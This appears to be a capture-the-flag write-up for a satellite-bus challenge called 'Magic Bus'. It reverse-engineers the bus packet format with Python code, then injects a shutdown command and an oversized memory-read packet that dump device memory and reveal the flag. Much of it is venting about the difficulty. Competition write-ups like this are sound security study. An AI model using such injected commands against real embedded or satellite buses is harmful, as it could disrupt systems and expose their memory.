10
2
Fork 0
has-writeup/satellite-bus/magic-bus
Hazel Levine 191df36fb8 aaaaaaaaaaaaagh 2020-05-26 01:49:23 -04:00
..
README.md aaaaaaaaaaaaagh 2020-05-26 01:49:23 -04:00
magic-bus.py magic bus... ugh 2020-05-26 01:28:27 -04:00

README.md

Magic Bus

Category: Satellite Bus Points (final): 91 Solves: 44 (this number taunts me)

Important note: Team BLAHAJ did not solve this problem until after the competition, and it did not count toward our final point total.

There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory... somewhere...

Write-up

by hazel (arcetera)

I hate this problem. I hate this problem. I hate this problem. I hate this problem. I literally hate this problem so much. This problem made me cry. I have literally no words to describe the exact extent to which this problem has driven me insane. This problem taunts me in my sleep. This problem taunts me while I am awake. The extent to which I despise this problem is beyond words. I hate this. I hate whoever made this. I want to burn this problem to the ground. This problem has achieved active sentience and holds malice against me and the rest of my team specifically. Had the competition not ended, this problem would hold the rest of the world hostage.

Furthermore, much of this writeup is failed attempts at a solution. Other writeups may be more useful at determining success, despite our team eventually finding a solution.

...anyway...

When netcatting into the server, a series of hex bytes appears. A cursory analysis of these bytes reveals that all packets start with ^ and end with ., aside from lines starting with byte CA. Decoding the data beginning with byte CA reveals some 🧃🧃🧃. This output has \xca\x00 stripped:

b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5'

I prefer water though. #WaterDrinkers

While I was asleep, the rest of the team managed to reverse the protocol to a decent extent. Namely, the format for strings beginning with :\x00\x00> and :\x00\x00? and ending with ? is:

  • \0x000000 (6 bytes)
  • @ or ?
  • A (7 bytes)
  • @ (2 bytes)
  • @ or ?
  • \xc1 (3 bytes)

An example:

b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?'
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?

The following Python code decodes this packet structure:

def to_hex(b):
    return ':'.join(hex(x)[2:] for x in b)

def decode_pkt(b):
    if len(b) == 0:
        return
    if b[0] == 0xCA:
        pass # raw data?
    elif b[0] == ord(':'):
        if b[3] == ord('>') or b[3] == ord('?'): # > or ?
            field1 = to_hex(b[7:13])  # 6 bytes
            field1end = chr(b[13])    #
            field2 = to_hex(b[15:22]) # 7 bytes
            if b[22] != ord('@'):
                print('b[22] should be @ but is {}'.format(chr(b[22])))
            field3 = to_hex(b[23:25])
            field3end = chr(b[25])
            c1 = b[26]
            field4 = to_hex(b[27:30])
            if b[30] != ord('?'):
                print('b[30] is not ?')
            print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4))
    elif b[0] == ord(';'):
        print('delimiter') # end of previous packet?
    else:
        print(b[0])
        print('unknown data')
    print('\n')

Noting a delay between packets led me to derive the following packet structure:

  • START packet, which is equal to the preceding END packet
  • ONCE call, which occurs prior to a...
  • ONCE packet
  • JUICY DATA
  • END call
  • END packet, which is equal to the next START packet

This proved to be incorrect, but more on that later.

The following code differentiates between these packets from the netcat, where the variable rawn is the raw byte string:

start = True
while True:
    r.recvuntil('^')
    raw = r.recvuntil('.')
    rawn = bytes([94]) + raw
    print(rawn)
    v = raw.decode().split('+')
    del v[-1]
    h = bytes([int(i, 16) for i in v])
    if h == b';\x00\x00?':
        print("ONCE CALL")
    elif h == b';\x00\x00>':
        print("END CALL")
    elif h.startswith(b':\x00\x00?'):
        print(f"ONCE: {h[4:]}")
    elif h.startswith(b':\x00\x00>'):
        # notable delay between start and end each time
        if start:
            print(f"START: {h[4:]}")
            start = False
        else:
            print("INJECTING")
            r.send(inj)
            print(f"END: {h[4:]}")
            start = True
    elif h.startswith(b'\xca'):
        print(f"JUICE: {h}")
    else:
        print(f"???: {h}")
    
    sys.stdout.flush()

I then noticed that post-text the string \x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6 had the characters { and 6 at the same point as flag{oscar39616kilo, which would correspond to a flag. I graphed this and tried to find a function (or multiple) modeling a relation here, but with R2 being something like 0.39 for every relation I tried, this was extremely unlikely.

We then tried reading the data sequentially from the buffer, from Juicy Data 00 to 04. Here's the entire string:

Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3

Unfortunately, nothing meaningful was derived from this. There are a { and } with bytes between them, but they aren't flag length.

I noticed that injecting instructions performed something, but I didn't think it did anything notable. I injected various data at various points, but I never managed to break out at the previous region of memory... which is where gashapwn's incredible work came in.

If the packet ^3b+00+00+00. is sent, the bus stops sending data, which is decidedly confirmation that the server accepts data. Each of the following injects has the same effect:

^3b+00+00+30+.
^3b+00+00+31+.
^3b+00+00+32+.
^3b+00+00+33+.
^3b+00+00+34+.
^3b+00+00+34+.
^3b+00+00+35+.
^3b+00+00+36+.
^3b+00+00+37+.

In practice, only this last packet is needed to shut down the server. Anything of the form of ^3b+00+00+XX+. where XX<38 shuts it down, but only 37 enables dump mode. This can probably be done with a fuzzer. Why has God abandoned us? What accursed malfunction did we do to deserve this fate?

If you send the packet ^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+., the same packet is sent back. This means that the juice packets deliminated with \xca are actually instructions.

By playing with the packet, the format appears to go:

  • Byte 0: CA
  • Byte 1-2: Memory offset
  • Byte 3-end: Size of memory to return

...so if we ask for a really large chunk of data, we can get a dump. With the inject:

b"^3b+00+00+37+."
b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+."

we can query for everything in memory. And we did.

Full code

Run it:

 λ has-writeup/satellite-bus/magic-bus python magic-bus.py                                                                                                                                                           master 2h ⬡
Injection: ^3b+00+00+37+.
b'^3a+00+00+3e+00+00+00+33+17+43+3c+0b+68+40+41+4e+dc+a0+c0+3e+6c+a0+40+c4+96+3f+c1+f8+fc+e6+3f+.'
START: 0000003317433c0b6840414edca0c03e6ca040c4963fc1f8fce63f
: 00:00:00 > 33:17:43:3c:b:68 @ 4e:dc:a0:c0:3e:6c:a0 @ c4:96 ? f8:fc:e6 ?


b'^3b+00+00+3f+.'
ONCE CALL
delimiter


b'^3a+00+00+3f+00+00+00+38+94+53+40+c8+2e+40+41+01+3a+a0+c0+69+11+a1+40+7c+2e+40+c1+9b+1c+e6+3f+.'
ONCE: 00000038945340c82e4041013aa0c06911a1407c2e40c19b1ce63f
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?


b'^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.'
JUICE: b'\xca\x00Dy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc'


b'^3b+00+00+3e+.'
END CALL
delimiter


b'^3a+00+00+3e+00+00+00+ce+49+d5+3b+e9+6b+3f+41+8f+71+a0+c0+fa+72+a0+40+17+e5+3f+c1+51+0a+e7+3f+.'
INJECTING
END: 000000ce49d53be96b3f418f71a0c0fa72a04017e53fc1510ae73f
: 00:00:00 > ce:49:d5:3b:e9:6b ? 8f:71:a0:c0:fa:72:a0 @ 17:e5 ? 51:a:e7 ?


b'^3b+00+00+37+.'
SHUT DOWN SUCCESSFUL
INJECTING AGAIN
b'^ca+00+00+4a+75+69+63+79+20+44+61+74+61+20+30+30+00+c8+f7+eb+15+96+3d+6b+70+5c+c9+2c+5e+d5+cf+5c+31+99+19+77+9a+c6+a9+08+65+8d+55+92+6a+37+2c+00+ff+23+eb+14+b9+29+7f+29+85+48+56+e3+1d+25+3f+4f+be+59+c6+4a+75+69+63+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+fa+02+4d+41+02+16+df+e5+fd+a1+08+33+22+84+2f+fc+1f+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+c0+8f+e7+02+91+fd+e1+77+fb+82+7f+2e+a5+04+5e+a1+23+f9+d7+62+fc+fd+d5+cd+00+c0+d4+ce+86+61+68+47+f1+4f+49+82+4d+2a+f9+48+ac+79+76+51+7d+d4+f2+a0+cd+c9+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+4d+ae+40+9a+d8+39+e2+85+b2+59+d6+2f+2d+c9+d0+fb+92+d2+c4+59+aa+5b+20+42+c6+b5+61+93+b3+c6+50+01+75+90+9b+4d+ca+7e+d2+7c+d7+a9+ac+04+72+7c+ff+04+4e+c4+4a+75+69+63+79+20+44+61+74+61+20+30+34+00+5a+83+25+24+01+f8+a0+d8+a1+4c+dc+13+c8+dc+17+17+a0+75+10+bf+f2+4b+a5+25+e8+1e+0c+4b+e8+f3+23+42+76+48+66+77+40+06+4f+e1+53+2c+f4+1b+08+0c+32+a8+81+42+4a+75+69+63+79+20+44+61+74+61+20+30+35+00+2c+bb+86+6d+c2+d6+4e+15+02+43+30+0a+4f+63+b2+d0+a5+19+43+33+26+dc+a9+52+81+6a+65+1a+4e+bb+29+7b+76+af+e8+38+85+36+4d+66+6c+61+67+7b+6f+73+63+61+72+33+39+36+31+36+6b+69+6c+6f+3a+47+43+78+6d+68+4f+52+59+61+36+35+59+30+50+6d+52+74+46+6d+6c+46+53+42+6d+6e+76+49+6d+45+69+57+67+63+6f+47+32+70+6f+73+49+5f+6e+56+51+51+39+5a+4b+35+44+65+4b+76+56+53+76+69+6f+2d+4c+4c+2d+36+58+32+6a+66+52+46+77+39+42+34+58+71+34+6f+56+51+44+69+71+46+44+74+50+4d+7d+00+0d+70+a9+16+2e+df+4e+64+76+e3+91+15+87+6b+ad+72+22+af+71+ad+6c+91+9d+bd+3e+5e+34+67+.'
JUICE: b'\xca\x00\x00Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3#BvHfw@\x06O\xe1S,\xf4\x1b\x08\x0c2\xa8\x81BJuicy Data 05\x00,\xbb\x86m\xc2\xd6N\x15\x02C0\nOc\xb2\xd0\xa5\x19C3&\xdc\xa9R\x81je\x1aN\xbb){v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWgcoG2posI_nVQQ9ZK5DeKvVSvio-LL-6X2jfRFw9B4Xq4oVQDiqFDtPM}\x00\rp\xa9\x16.\xdfNdv\xe3\x91\x15\x87k\xadr"\xafq\xadl\x91\x9d\xbd>^4g'

Hey look, a flag!

I hate this problem so much. At the time of me writing this, it's 1:30 AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). I genuinely don't know how this got so many solves. I hate this. Goodnight.

Resources and other writeups

  • God I wish there was any